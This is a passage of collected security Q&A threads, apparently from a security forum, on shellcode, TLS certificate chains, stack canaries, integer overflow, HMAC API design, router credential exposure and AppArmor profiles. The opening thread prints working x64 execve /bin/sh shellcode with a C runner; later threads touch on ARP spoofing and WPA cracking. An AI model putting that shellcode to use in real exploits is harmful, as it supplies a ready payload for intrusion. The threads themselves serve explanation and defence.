Why is this shellcode execution considered an exploit? I found the following "exploit" on Twitter: https://www.exploit-db.com/exploits/43550/?rss

Blogpost about it: https://pentesterslife.blog/2018/01/13/polymorphic-and-smaller-versions-of-three-shell-storms-x64-shellcodes-including-the-smallest-execve-bin-sh/

This is wrapping assemblercode / bytes into memory and executes a shell.

IMHO it would be an exploit if it allows privilege escalation, e.g. non-root can compile and run this and be scoped root or something.

This is not an exploit, because it does not break any security barrier or am I wrong?

/*
global _start
section .text
_start:
    push 59
    pop rax
    cdq
    push rdx
    mov rbx,0x68732f6e69622f2f
    push rbx
    push rsp
    pop rdi
    push rdx
    push rdi
    push rsp
    pop rsi
    syscall
*/

#include <stdio.h>
#include <string.h>
char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
// char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
    printf("len:%d bytes\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}

I agree that this is not an exploit, but it is shellcode to be used when injected into an application exploited via other means.  The blog post also only refers to it as shellcode, not an exploit.


Secure one-time-use credit cards I've been reading a lot about one-time-use online credit card numbers (e.g. https://www.discover.com/credit-cards/member-benefits/security/create-online-account-number.html#) but I have to admit that I'm actually more worried about small businesses getting exploited (e.g. http://arstechnica.com/business/news/2011/12/how-hackers-gave-subway-a-30-million-lesson-in-point-of-sale-security.ars)

Does anyone know of a company or card that's offering one-time-use physical cards? Or do I just need to start investing in prepaid cards?

The ars technia story is about small businesses non-compliance with PCI DSS by hosting payment card transactions in vulnerable platforms. It is not about well prepared, IT security savvy small businesses being beaten by better hackers.

I believe this is a consequence of the small businesses not understanding the risks they are assuming. Assuming meaning taking upon themselves instead of mitigating or transferring.

Credit card users can mitigate exposure to payment card fraud by using one time use online credit card numbers. i.e. If the card number and authenticating data for a transaction are captured by a malicious adversary, the data would not allow the adversary to make a second charge.

What are the potential hazards to a small business owner?

The only potential hazard I can think of is the ability to disguise repeated use of a single unauthorized account.

For a single business owner this would require a adversary with a account capable of generating one time use credit card numbers targeting a single business with multiple transactions using different credit card numbers. I would assume the adversary would be able to make other associated information like name or shipping address appear unrelated. If this was the case fraud detection would be difficult.

However, I suspect most savvy malicious adversaries would spread the spending across many merchants to prevent detection by the credit issuer.


Router sends password plaintext: is this a serious vulnerability? Today I went to go & reset my router, but forgot the account password for the ISP. On the (extremely) off-chance of the password being present in the 'Password' field, I went to the appropriate page of the router's configuration settings (which is not secured using HTTPS) & found that the password had been blanked with dummy-characters (••••).

However, on viewing the page source the password is fully viewable, of which it's essentially this:

<input type="password" name="Password" value="SDrtdF">

obviously that's not my password, and I've also changed a couple of aspects of the HTML element to minimize exploitation

The input value of the password field is provided by the router, and not by the browser (I don't use autofill or tools to remember passwords). For this example, the real password is SDrtdF, which is the value of the password field.

This essentially means that anyone who has access to the router* can easily retrieve the password for the account that connects to the ISP, and use it elsewhere for illegal means. Knowing how some ISPs can be (mostly denying there is a problem, taking a week to realise what the problem is, etc), the first the victim may know about it is when the ISP cuts them off and/or the Police come knocking on their door.

*if a computer on the network is infected with malware & if said malware sends back a copy of the source of every page visited, no 'physical' access to the router would be required.

It's a common practice on websites to use 'dummy' input in password/sensitive fields. Browser autofill doesn't even put the passwords in 'plain sight' like this.

It's obvious that the ISP password is supposed to be hidden (else, why denote it as a password field in the first place if the password is supposed to be visible?).

Should such a vulnerability be taken seriously? Is it worth making the router manufacturer aware (I'd say yes, since their other routers may also carry the same vulnerability?

N.B: I've already made the manufacturer of the router aware of this, and I'm not going to disclose the manufacturer or the model of the router until/if this is fixed, for safety of the vulnerable routers.

Router admin authentication is required to expose the password plaintext.

This is a bad design for certain.  It means the router is storing the ISP password in a reversible form.  However, it has to reverse it to authenticate to the ISP.  The real problem is that is unnecessary to expose.

This problem also exists on enterprise-level network gear.  On Cisco firewalls it is possible to expose IPsec shared secrets and other similar symmetric/password credentials by running commands that show the configuration details from a CLI.  This is done in part to support easily restorable backups of the config.

Exposing it in the user interface is unneccessary.  This is an example of a Sensitive Data Exposure vulnerability (OWASP Top 10 2013-A6).  It's considered to be hard to exploit (you need to be an admin on the router already), but high impact.   In this case the value of the ISP client network authentication credentials is unlikely to be particularly significant.  The ISP can have compensating controls in place and multiple authentications from separate locations would be an obvious violation that the ISP would notice.

I don't consider this to be a serious vulnerability.  It should be addressed, but I don't consider it a show stopper requiring a different router to be deployed.


What part of TLS specifies how to verify a certificate chain I have sometimes run into a situation where I see a root CA certificate which is set to expire sooner than the intermediate CA certificate.

My question is - if you were interested in keeping your intermediate CA active, and needed to update it to reference a newly created root certificate, what about the intermediate CA would need to change?  I believe this is the Issuer field, but is this able to be dynamically updated like some SANs are, or do you need to update the intermediate CA certificate as well?

I guess this could also be summarized as - where in a certificate does it point to who you are signed by and what does it look like?

Bonus points for answering where in the handshake process does the certificate chain get presented to the client, and what makes this necessary (I assume it is completely client-directed as some clients do not require the server to present the certificate chain to verify a server cert's legitimacy)?

Within SSL/TLS, the server sends its certificate chain systematically to the client (well, unless the client wants to negotiate a cipher suite that uses no certificate at all, but that's pretty rare in practice). See the TLS standard, in particular this diagram, which says it all:

  Client                                               Server

  ClientHello                  -------->
                                                  ServerHello
                                                 Certificate*
                                           ServerKeyExchange*
                                          CertificateRequest*
                               <--------      ServerHelloDone
  Certificate*
  ClientKeyExchange
  CertificateVerify*
  [ChangeCipherSpec]
  Finished                     -------->
                                           [ChangeCipherSpec]
                               <--------             Finished
  Application Data             <------->     Application Data

         Figure 1.  Message flow for a full handshake

For (much) more complete explanations on how SSL/TLS works, read this answer.

Note, though, that while SSL/TLS formally relies on X.509 certificates, the protocol is not irremediably married with X.509. Within the handshake dynamics, the idea is that the server sends its public key to the client within a certificate chain, and then the client somehow uses the server's public key. How the client obtains the server's public key is a bit out of scope; normally, the client does so by decoding and validating the certificate chain sent by the server, but the client is free to "know" the server's public key from any other way that it sees fit. In some dedicated applications (especially embedded systems), the client may contain a hardcoded copy of the server's public key, and just use that, completely disregarding whatever the server sends as "certificate chain".

Moreover, the "certificate chain", from the point of view of SSL/TLS, is a sequence of opaque blobs, such that the total length does not exceed 16 megabytes. While these blobs are normally encoded X.509 certificates, they may be something else, as long as the client agrees (and a client who ignores the server certificate chain will, by definition, agree to anything). There is even a formally defined RFC for using OpenPGP keys instead of X.509 certificates in SSL/TLS.

IF the certificate chain follows the usual rules (X.509 certificates, that the client validate), then the X.509 rules apply. The complete X.509 path validation algorithm is a work of the Devil to confuse and corrupt good men's minds. However, as a simple summary, an issued certificate (your "intermediate CA certificate") matches its issuer (in your case, the root) through the two following properties, which must all be fulfilled:

The subjectDN field in the issuer (root) must be equal to the issuerDN field in the issued (intermediate CA). Thanks to the multitude of possible encodings and Byzantine Unicode rules for case matching, actual "equality" of names is a potentially complex notion.
A certificate is signed; the signature on the issued certificate must be verifiable with regards to the issuer's public key.

Therefore, if you want to keep the intermediate CA certificate unchanged, then, at the very least, the new root will need to use the exact same name as the old one, and also the exact same key pair. If you change either (or both), then you will need to reissue a new certificate for the intermediate CA.

The same principles apply down the chain: if you change the intermediate CA certificate, then you might still keep end-entity certificates unchanged (the certificates previously issued by the intermediate CA), if (and only if) the new intermediate CA certificate still contains the same intermediate CA name and intermediate CA public key.


How does using unsigned integers protect against integer overflow attacks? In order to avoid problems with integer overflow in C or C++, some people have suggested to use unsigned integers. How can this protect against possible overflow attacks? Doesn't an unsigned integer still eventually overflow when incremented beyond its maximum value?

Using unsigned integers does not prevent overflow. A k-bit variable can only represent 2k different values. No matter how you interpret the bits.

What you're probably referring to is the fact that signed integer overflow in C and C++ is undefined behavior. Which means that the C or C++ international standard does not specify any behavior of the program that triggers such overflow. Wrapping the value around or causing a run-time exception are valid options as much as opening an exploit shell. (Of course, no sane implementation would opt for the latter choice. But an exploit can become possible through further consequences.) Furthermore, the compiler is allowed to optimize based on the assumption that signed overflow does not occur and might, for example, optimize away misguided overflow checks such as if (x + 3 < x).

For unsigned integers, on the other hand, the C and C++ international standards require that the value wraps around as if arithmetic on a k-bit unsigned integer was done modulo 2k. This means that your program can rely on the wraparound and use it to its benefit. (Or to shoot itself into the foot.)

Other languages like Java mandate reliable wraparound also for signed integers. (Java doesn't even have unsigned integer types.)

Speaking of security, the largest threat posed by overflow, however, is that your application logic does not anticipate the wraparound. And this is a problem regardless of whether you are using signed or unsigned integer types. If your application logic assumes that for a request of n bytes, it needs to allocate a buffer of n + m bytes (for a small constant m used for, say, bookkeeping) and n happens to be less than m below the maximum value your integer can hold, wraparound will cause your program to allocate a too small buffer which, in turn, will be overrun. There goes the exploit.

If you want to be secure, instead of using unsigned integer arithmetic throughout, I recommend that you do the exact opposite: Use signed integer arithmetic and compile with UbSan. Unless your application is computation-heavy, it will have only minor run-time overhead but if the unanticipated event happens and your application overflows an integer, extra code added by the sanitizer will kill your application before an attacker can exploit it. A similar sanitizer for overflowing unsigned integer types cannot be written because the standard requires well-defined behavior for doing so and programs legitimately rely on it. This is actually one case where undefined behavior in the language can help make your application more secure.


What Is "Kaspersky Security Center Network Agent"? I see this in the program list on my office laptop. I believe it is the antivirus software installed by the official networking staff but I don't see where it is in my windows. I never see any updates or pop-ups.

Is it safe? I want to install another free antivirus like Avast but I don't think having two antivirus programs running concurrently is a good idea. Recently my iTunes account has been hacked so I am very concerned about this.

We use Kaspersky in our network as well. Kaspersky Network Agent is the agent installed on client machines to report back to the security center (or the central point of command for your IT staff) The Agent itself is not responsible for the AV. Its simply the means to which the Endpoint manager(the AV on the system) can communicate with the Security Center server.

The agent also takes in the responsibility of installing applications remotely, managing endpoint encryption, and a few other Kaspersky features.

The reason you can't see the agent is because its a background service. Its just controlling and issuing the policies to the Endpoint Manager. Now if you can't see the endpoint manager it is possible for the IT staff to hide this with the "Self-defense" options. The IT staff where you work obviously does not want you tampering with the Endpoint manager and they would surely see the Audit arise in the Security Center if you did. For good reason though. Kaspersky will aide(not eliminate) in helping reduce your laptops attack surface and preventing possible compromise.

If you feel that only the agent is installed( and verified you don't see the signature "K" symbol in the task tray), it might be wise to call your IT department and ask if the system is being protected. Surely if they were using Kaspersky they could view the managed systems and see that your device is unprotected, if the agent is functioning and communicating properly.


Why do websites use HTTPS when they don't need to? This has been bothering me for a while, but I have noticed that some websites (the first one that comes to mind is XKCD) use HTTPS for no apparent reason. I mean, XKCD is free and accessible to anyone. Why on earth would they encrypt your session when all you're doing is looking at comics? It seems like the cryptography would just consume resources unnecessarily. I'm not asking about XKCD specifically, but have noticed a few websites that do this and am wondering why they would.

One answer is that SSL also prevents/deters MITM (Man-In-The-Middle) attacks.  In theory, SSL ensures that the message originated from XKCD and arrived to you without being tampered.  A bad actor who can intercept traffic between you and XKCD cannot inject code to run on your machine.

Just based on the comments, being able to inject code to run client side is quite powerful.  You can glean a lot of information from this.  Furthermore, you can force a client browser to talk to pages/sites that it normally wouldn't.

I do want to note, however, that SSL is not 100% in this case and there attacks such as sslstrip that can work around the fact that SSL is being used.


Dealing with a (possible) virus on both MacOSX and iOS The symptom:

On MacBookAir, in Safari, FF and Chrrome, when accessing www.google.com, I get redirected to a http://developer.yahoo.com/yql/ web page.
On iPhone, when navigating to google.com  I get a Yahoo 404 -/ search error
On iMac (from which I am posting this message), all seems to work ok

While I am scanning my MacBookAir with an antivirus (Sophos), I wonder, assuming it is infected, how would it also infect my iPhone?

Update
As time went by, the issue went away without me having to do anything. Meanwhile i scanned my MBA with Norton, AVG and Sophos - all 3 found no issues.

Sounds like you may have caught the OSX.RSPlug.A Trojan Look here for instructions on how to remove it: http://www.ehow.com/how_2128387_remove-osxrspluga-trojan-horse-mac.html

This trojan can only be obtained, by you actively downloading and installing it, probably masked as a trustworthy program.

As for antivirus, there's no AV Software out there, that will make sure that you can't obtain a virus. The best advice I can give you, is to use common sense when downloading, and try to verify the source. AV's tends to give people a false sense of security.


Is it possible to make HTTPS 0-RTT with help from DNS? This article gives an implementation of encrypted SNI where a public key is retrieved from the DNS. It feels like cheating but imagine this: If the server publishes its certificate on its DNS record, shouldn't the client be able to send encrypted data (since it has fetched server protocol, public key, etc. from DNS record) in the very first packet, without TLS handshakes, and thus making HTTPS 0-RTT (instead of 1-RTT with TLS 1.3) even for new connections? In a word, the DNS now contain richer information than a plain domain name to ip address mapping, to help with TLS handshake.

Any security problems with this scenario?

In theory it would be possible to do a 0-RTT handshake if the certificate is known up-front (like via DNS) and RSA key exchange is done. In RSA key exchange the client creates the full premaster secret (from which encryption key etc are derived) and sends it encrypted with the servers public key (from the RSA certificate) to the server. If simplifying RSA Kx a bit to not include a server random into the computation (see comment from  dave_thompson_085 below) the encryption key can be fully determined by the client it could immediately start sending encrypted data.

But, RSA key exchange is deprecated and is no longer available with TLS 1.3. The problem with RSA Kx is that an attacker could passively sniff all the traffic and if he gets later access to the certificates private key he could decrypt all the previously sniffed traffic. Diffie-Hellman key exchange instead provides forward secrecy, i.e. even if the private key of the servers certificate gets compromised the previously sniffed traffic can not be decrypted.

But, Diffie-Hellman Kx can not be done with 0-RTT since it needs the input from both client and server to compute the shared premaster secret :(


How does the stack cookie protect return address from being overwrite /GS compiler option Micorsoft developed added an extra cookie before
  the return address and before returning the cookie is checked, if it
  is intact then return address is safe

why ever would this assumption hold ?  In my understanding this just makes hacker's lives a bit harder to now keeping the cookie intact.

The stack cookie (also known as "canary") does not prevent the return address from being overwritten, but it increases the chances that the code notices the overwrite before fatefully following the overwritten return address.

This is heuristic: the idea is that most buffer overflows which end up with overwriting the return address proceed sequentially from a stack buffer, one the "other side" of the cookie slot, thus will also overwrite the cookie. "Keeping the cookie intact" requires that the attacker can somehow make a "jumping overflow" (it happens, but rarely) or can obtain the cookie value so that he can overwrite the cookie value with itself. Obtaining the cookie value is hard since it is normally chosen randomly at execution time (details vary depending on the OS and OS version), and not advertised; in some rare situations, the attacker can obtain the cookie value indirectly from the consequences of another exploitable vulnerability.

In practice the stack cookie makes the attacker's life a bit harder, but for a quite big bit. It is not 100% effective, as a defence mechanism, but it is not trivially worked around either.


How to protect company sensitive data from being deleted by a user when data is on their computer? There more than 300 computers and more than 400 users are available. We face two incidents recently when critical users(who has critical data) leave from company.We have deleted their data when they return their laptop or desktop PC. To help protect Data that is top secret and business critical.

Now we have a requirement to protect business critical data to prevent the data deleted by user when they leave.

We currently have NAS drive and Windows Server environment.

Please share your idea.

Don't store data at a single point.

Always make sure encryption keys are known by at least two independent users!

Make regular backups.


HMAC solution for a rest API I'm trying to learn some things about REST apis and one of the topics that I'm having some trouble is security.

I'm using angularjs for web interface ans slim framework for the php api.
I've read some articles (I liked this one) and started to implement HMAC following this tutorial (not exactly the same steps).
I would like to know if there is some major security breach in my approach or if I'm not doing this the right way.

As I'm using AngularJS, I know that everything I store in the client-side is not safe. I'm assuming that the user has a "clean-as-new" machine and knows what he is doing (I will probably be the major api user). My greater concern is the man-in-the-middle and replication.

(On the client side)

The user inputs his username and password.
His password is encrypted (for example, sha256) and stored as a global; (His username is just stored somewhere)
In every request that the webinterface sends to the api, it is sent a hmac hash in the header in wich the message is formed using the username, a timestamp, the path to the resource, a random string (that both server and client are aware; hardcoded) and the key is the password hash.

(On the server side)

When the server receives the request:

Checks the timestamp;
Checks if the username exists in the DB;
Attempts to replicate the same hmac hash using for the message the variables (also received in the request) username, timestamp, path-to-resource and the random string (this one is not received in the request; it's just hardcoded). For the key he uses the value stored in the DB that is the encrypted password of the given user.

If all validations go well, the user should be a guy to be trusted and not just a man-in-the-middle.

I see various issues with your approach (in no particular order, and most likely not a complete list):

It seems like you're deploying the application without SSL/TLS. If that is the case, you must not rely on the client side, as a MITM can replace your (secure) client-side implementation with anything he/she chooses.

There is no way to create a secure web application without SSL, as the client would then load your application through an insecure channel. If your application is deployed through a secure channel (not sure if angularjs supports offline deployment), ignore that.

If you use SSL, that will probably mitigate all other attack scenarios as it protects against MITM and replay attacks. The only thing that could be an issue is Authentication, given you do not use client certificates. But usually session tokens are sufficient for web applications, as the server is properly authentificated (given you use a proper implementation).
You wish to secure against replay attacks, but only use timestamps for requests. If an attacker is able to record and reply a request fast enough, the server will consider the request valid. Depending on your actual data this may or may not be a problem.

To prevent that attack, add a request counter or store the timestamp of the last request on the server (and require a greater timestamp than the stored one).
Besides your actual HMAC, you are not salting your passwords, that way an attacker with database access is fatal for your application and your user's passwords. I'd strongly encourage you to salt your passwords.

Also, it is usual practice to hash passwords many times to increase the workload required for dictionary attacks against the hash.
From what you write it is not clear that you include the message/request content into your HMAC. But I assume you are aware of the fact that a HMAC only verifies the integrity of the data it is generated with.
You do not use truly random keys for HMACs. Given today's computing power it is likely that weak passwords lead to a crackable HMAC, as possible hashes are easy to compute. Hashing multiple rounds might help a tiny bit (and salting if the attack is against multiple users), but it is crucial you install some brute force prevention at last (maximum number of illegal requests per hour or similar, then block the source IP).

However, I personally would never trust anything soley based on user passwords.

So, personally, I would recommend against rolling your own crypto and for sticking with SSL/TLS. While that basically means that every client-trusted CA can certify a MITM, I think that that risk is by far lower than a MITM certifying himself by delivering a malicious webapp to the user, replaying requests or cracking the HMAC's secret.


Finding password length using Airmon-ng and Crunch on Kali Linux [WPA/WPA2] I want to find the length of a password on my wireless network.

How can I monitor/track the behavior of the WiFi reaction to entering the current password?

Once I find the exact length of the required password I can start trying all possible combinations

I also have the source code for the airodump-ng file in C. Maybe I can edit functionality to support pattern finding? I know several programming languages and am great at programming so wondering if this is another side I can go by?

How can I monitor/track the behavior of the WiFi reaction to entering the current password?

You cannot determine the pre-shared key length from observing the network traffic.

There is no "WiFi reaction to entering the current password" because when a user enters the key (password) on their machine the communication does not yet take place.

The pre-shared key is used to derive a master key which is a local operation on both ends. After that, all further key derivation-operations use fixed-length keys and do not have any "knowledge" about the length of the "initial" pre-shared key.


Why are website certificates secure? I understand how HTTPS connections work, and I also understand they they require a certificate to know that the secure connection you have is with the right server (and not someone pretending to be the right server). My question is, how are these certificates secure? Why is it hard to fake them?

SSL is based on public/private key cryptography. This means that

anything encrypted with a public key can only be decrypted with the associated private key
the private key can be used to sign a something and that signature can be verified with the public key.

A certificate is a public key with information about the owner attached to it. The owner can either be a person or a domain.

When you visit https://stackauth.com, the server will present its certificate to your browser. The browser checks that the name in the certificate matches the name of the website you requested and if the expire dates are valid.

Then the browser checks whether the certificate was signed by a certificate authority that the browser knows as trustworthy. Anyone who creates a faked certificate has the challenge to get it signed by a certification authority that is trusted by the browsers. There may be a chain of signatures from intermediate certificate authorities which needs to eventually lead to a trusted one.

If any of those checks fails, the browser will show you a warning and require confirmation. If all the checks are passed (or overridden by the user), the browser will use the public key from the certificate to encrypt some information that only the server can decrypt. This information is used to setup a secure session in a couple of more steps.

The main issues with this model is that the certification authorities are the weak link. There is a huge number of CA, that are directly or indirectly trusted by the common browsers. All of them can issue faked signatures, and this has allerady happened a number of times in the past (e. g. Verisign, Comodo, Diginotar).


Can I share what password hash function I used in a public report? I have developed a web site during an internship, using a database with accounts. I used the crypt() method from PHP, with a secured algorithm plus salt (found on the web with a lot of feedback). Obviously, I'd like to talk about it in my report but, would it be a security issue since that report will be made public?

I think that it wouldn't matter because the method itself is pretty secure, but maybe, if the attacker knows about the algorithm, it would make it a little bit easier to brute force.

Should you make the algorithm public?
Trying to hide implementation details (such as which hashing algorithm you use) to preserve security is the very definition of security through obscurity. There is broad consensus that obscurity should not be your only line of defense.
If you need to keep your hash algorithm a secret, you are doing it wrong and need to pick a better hashing algorithm. When you use a good algorithm, there is no reason not to tell the world about it since they won't be able to crack your hashes anyway.
Also note that in your case the salt will give you away. If someone gets hold of your database, they will be able to read what algorithm was used from that. So obscurity does not make brute forcing harder here. Advertising a weak scheme, however, might encourage attackers. A strong one could have the opposite effect. The point Mike Goodwin makes in his answer should also be taken into account.
Is crypt() secure?
The relevant question to ask is therefore if crypt() is secure enough. Let's have a look at the PHP manual:

password_hash() uses a strong hash, generates a strong salt, and applies proper rounds automatically. password_hash() is a simple crypt() wrapper and compatible with existing password hashes. Use of password_hash() is encouraged.
Some operating systems support more than one type of hash. In fact, sometimes the standard DES-based algorithm is replaced by an MD5-based algorithm.

The standard DES-based crypt() returns the salt as the first two characters of the output. It also only uses the first eight characters of str, so longer strings that start with the same eight characters will generate the same result (when the same salt is used).

The function uses different algorithms depending on how you format the salt. Some of the algorithms are very weak, and the strong ones might not be available on all systems. So depending on the algorithm used, there are a number of problems here:

For some algorithms crypt() only applies one round of hashing. That is too fast, and will enable a brute force attack.
Under some circumstances crypt() will use MD5, which is known to be weak.
Only using the first eight characters completely nullifies the benefits of long passwords.

I therefore suggest that you  switch to password_hash(). It lets you use bcrypt - a tried and tested algorithm. Then you can proudly tell the world about your hashing scheme.


Can I completely impersonate another wireless device? I recently decided to fix up an old laptop by replacing some missing parts. I installed Kali 2.0.

I also figured the most secure OS should be an OS designed for use by security professionals; although I am completely aware the system is only as secure as its user. I purchased two pcie cards capable of monitor mode according to the aircrack wiki; and installed plenty of software, most of which I will probably never use.

I understand as long as my system works as intended once the wireless transceivers arrive in the mail I can receive wireless LAN packets without actually connecting to the router.

What if I want to communicate completely anonymously? I am curious if I will be able to also transmit and receive as if I am an already connected device. Is that possible? Is that actually anonymous? How will the legitimate host react to packets it is not expecting?

What if I want to communicate completely anonymously?

Wireless is relatively anonymous from the perspective that you, as a person, won't be easily identified unless your traffic gives you away. That said, your location is identifiable using triangulation and your hardware device ID (MAC) will identify the device used unless you're able to override it.

  I am curious if I will be able to also transmit and receive as if I am an already connected device. Is that possible?

Yes, sort of. If you can inject successfully and receive successfully you can pretend to be a device already on the network but to fully emulate it isn't reasonable to do. It depends on what you're trying to accomplish.

  Is that actually anonymous?

See above. Depends on you and what you're attempting to accomplish. The amount of anonymity that is possible depends on how you behave on that network. Simply listening is completely anonymous as you're not sending anything out. Interacting in any way is less so and the amount of anonymity will drop as you interact more and more.

  How will the legitimate host react to packets it is not expecting?

Depends on the packets. In many cases you'll get a RST response or nothing at all. If you're attempting to modify or affect an existing connection that can be difficult at best. TCP has a number of controls in place to try to prevent this.

You can inject ARP packets to tell the system you're someone else on the network in an attempt to intercept traffic and in some cases this can work for you to man-in-the-middle a victim system's connections. As long as your device acts and behaves like the router the victim computer expects you could insert somewhat smoothly into the stream.

If this doesn't address what you're looking for please try to clarify the question and make it more specific.


Why would someone create an OpenPGP public key with my name and email address? By chance, I typed gpg2 --search myemailaddress on the command line, and searched public keyservers for my email address (I'd actually just meant to search my local keyring, for which I should have used gpg2 -k myemailaddress).

To my surprise, I discovered that there was a public key, created just a few days ago, which as far as I know I did not create. It wasn't on my local keyring, or on the keyrings of other computers on which I've ever used GPG.

I'm at a loss how this may have happened. Are there any applications that would "helpfully" create OpenPGP keys and publish them, without telling me or attaching them to my local keychain? Is there some scam for which this would be useful?

GPG can upload your public key automatically, and there may be other utilities that do so. The thing to do is compare the public key on the web with the one on your keyring. If they match then it must have originated from your system as nobody could create it in isolation (that's the whole point of public private key pairs).

If the public key is different from the one you generated then it's possible that someone is attempting to use your identity. It seems pretty unlikely though, so I'd look for other explanations.


Why don't mobile operators blacklist stolen phones using their IMEI? I've just read this piece of news that Android and Windows phones will get a 'killswitch', rendering them useless to potential thieves.

However, since all devices have a unique identification number (IMEI), why haven't mobile operators been blacklisting phones designated as stolen? I've worked in telecommunications and when a subscriber makes a call, a call data record is generated that contains loads of information including the unique ID of the device. Potentially, they could simply refuse connection to a blacklisted device, couldn't they?

I remember reading about mobile operators in Uganda blacklisting 'fake' phones (source) using the IMEI of the phone, so technically it seems feasible.

Mobile operators already use this feature. By reporting the IMEI number of your stolen handset it will be recorded in the Equipment Identity Register (EIP) to prevent the use of the stolen handset in the network. After ensuring the device is stolen, the IMEI is transfered to Central Equipment Identity Register (CEIR) which is a database of handset on a blacklist and it will render the device unusable on all other network providers as well.

Many carriers, including AT&T and T-Mobile, are now using this shared database inside the U.S and Canada. As Rory mentioned, most European carriers are Europe-wide so this feature will work across Europe

I would also like to add that the killswitch is different than IMEI blocking. The main goal of the killswitch is to render the phone completely useless by remotely erasing all data from it and therefore turning a phone into "paperweight". As for the IMEI blocking, it only prevents the handset from connecting to the network (IF the specified network is using the shared database for blacklists)

The terms "paperweight" or "bricked phone" refer to a handset that has lost all operating system data, partition data, and bootloader data; preventing someone from re-flashing the OS on the phone. The handset is completely unusable, even for offline tasks such as taking pictures or running apps. In such a case the phone turns on, but constantly displays the manufacture logo screen. It literally has the value of a "paperweight"

Apart from rendering your phone completely useless the killswitch makes sure your sensitive data does not fall into the wrong hands.


What is a "pre-play" attack? I understand what a replay attack is, but I keep reading about a pre-play attack. What is it? Is it when someone intercepts an unused message and blocks the sender so they can't finish using it, and then the interceptor tries to "play" the message as if they were the original sender?

Computer-Related Risks by Peter G. Neumann classes preplay attacks as part of the "Playback attacks" category of risks and defines it as "preplay of a not-yet used message", to help understand this a little more I have included two real world examples.

Web Application example;
I would argue that a CSFR (Cross-site request forgery) attack is a form of preplay as you do not have to capture the user’s traffic, but instead are using their own session to play a valid sequence of activity.

Kerberos example;
An example of this would be if the attacker were able to compute a valid response to a kerberos challenge and send the expected reply before the real user. This could result in the attacker gaining access to the server within the context of the valid user’s rights.

So a pre-play attack is where an attacker is able to guess or compute a valid response to and send the reply before the valid user can. It is different to a replay attack, where the attacker would capture the whole challenge and be able to replay at a later stage.


Windows Fine-Grained Password Policies (FGPP) - Set Policy Duration Trying to determine if there's a way to configure an FGPP(the policy itself) to last/be enforced only for a specified period of time or ideally, until a triggering event occurs.  E.g., create temp pwds for a group w/ a 10-day expiry FGPP, but only have that FGPP in place until the pwds expire in 10 days, or they change their pwds (then revert to the domain "Max-Pwd-Age" etc. policy).

FGPP provides password policies, but does not to my understanding provide a means of applying to groups, OU's, etc. only for a defined period of time.

That said, I am curious why a group would have a temporarily shorter (assuming your domain setting is longer than 10 days :) )password age?

It seems to me the only way to accomplish this would be to apply a FGPP to an OU, then use an AD-automating method to periodically test the accounts' last password change value and move it to another OU based on that. I am not an AD "expert" but I am aware of tools that may make doing so possible.


Anyone heard of this site and was it safe? I was browsing a reddit page and found a strange link to what it looked to be a image hosting site that I've never heard of http://imgh.us/elliotwp1.jpg.

I clicked the link and it said "404 not found". This made me curious and I started looking around to try to see if I could find anything on this site. I got nothing, no reviews, articles, nothing. All I found was a reddit page saying it was going to be shut down in which no one responded to whatsoever. I also saw that there were quite a few images that were using this domain. I entered the URL on virus total and two engines said it was malicious and one said suspicious.

I understand that when a 404 is displayed it means that the server is running, it just couldn't find that link or content I was looking for.

Why would the servers be up if it was shut down in the past?

I'm kinda worried that that link or site may have been malicious and my browser might be compromised. I'm running Linux so I know that it if it was malicious that it probably wouldn't be able to do much. I have no idea, I'm probably just being really paranoid. Anyways, let me know what you guys think about this, and tell me if you've heard of this site.

VirusTotal inspects the files served by a website. If you look at the main analysis page you will see different scores for different files. This is not surprising as it is a file hosting site. The site itself might be fine, it's the files that are the problem.

This page lists the shutdown notice you refer to. The domain is still valid until: Sat Sep 08 23:59:59 GMT 2018.

Why it is still active is anyone's guess. The domain owner's email is listed on WHOIS, you could ask him.

All in all, there is nothing suspicious in any of this info.


Apparmor profile denying read access with r flag I generated an apparmor profile for the tor binary that comes bundled in Ricochet:

# Last Modified: Sun Apr  2 2017
#include <tunables/global>

/ricochet/*-ricochet/tor {
  #include <abstractions/base>

  deny /etc/ld.so.preload r,

  deny /proc/sys/kernel/random/uuid r,
  /ricochet/*-ricochet/config/tor/ rwk,
  /ricochet/*-ricochet/config/tor/ r,
  /ricochet/*-ricochet/config/tor/cached-certs r,
  /ricochet/*-ricochet/config/tor/cached-microdesc-consensus r,
  /ricochet/*-ricochet/config/tor/cached-microdescs r,
  /ricochet/*-ricochet/config/tor/cached-microdescs.new r,
  /ricochet/*-ricochet/config/tor/control-port w,
  /ricochet/*-ricochet/config/tor/control-port.tmp rw,
  /ricochet/*-ricochet/config/tor/default_torrc r,
  /ricochet/*-ricochet/config/tor/lock rwk,
  /ricochet/*-ricochet/config/tor/state rw,
  /ricochet/*-ricochet/config/tor/state.tmp rw,
  /ricochet/*-ricochet/config/tor/torrc r,
  /ricochet/*-ricochet/tor mr,
  deny /sys/devices/system/cpu/ r,
  /usr/share/tor/geoip r,
  /usr/share/tor/geoip6 r,

}

Not sure how sensitive /proc/sys/kernel/random/uuid are so I denied them. Ricochet opens fine with them denied. Tell me if I should allow them though...

My biggest concern is /usr/share/tor/geoip. I have it set to read-only but I'm still getting journalctl complaints:

$ journalctl -af
Apr 02 <uname removed> kernel: audit: type=1400 audit(1491170231.720:200): apparmor="DENIED" operation="open" profile="/ricochet/<removed>-ricochet/tor" name="/usr/share/tor/geoip" pid=2563 comm="tor" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
Apr 02 <uname removed> kernel: audit: type=1400 audit(1491170231.720:201): apparmor="DENIED" operation="open" profile="/ricochet/<removed>-ricochet/tor" name="/usr/share/tor/geoip6" pid=2563 comm="tor" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0

Can anyone help me debug this? Why is apparmor denying r access?

Did you both reload AppArmor and restart the application? Simply reloading AppArmor does not mean changes to the policy will take effect immediately. If that does not work, you can whitelist the entirety of /usr/share/tor. It is only writable by root, so there is no issue with malicious programs modifying it, and it does not contain any sensitive information. It is not writable, so you wouldn't benefit from more fine-grained control over it. Simply letting Tor read anything inside it is perfectly safe:
/usr/share/tor/ r,
/usr/share/tor/** r,

As for /proc/sys/kernel/random/uuid, it is not sensitive. All it does is return random data formatted as a UUID. It provides no more information than /dev/urandom does. From proc(5):
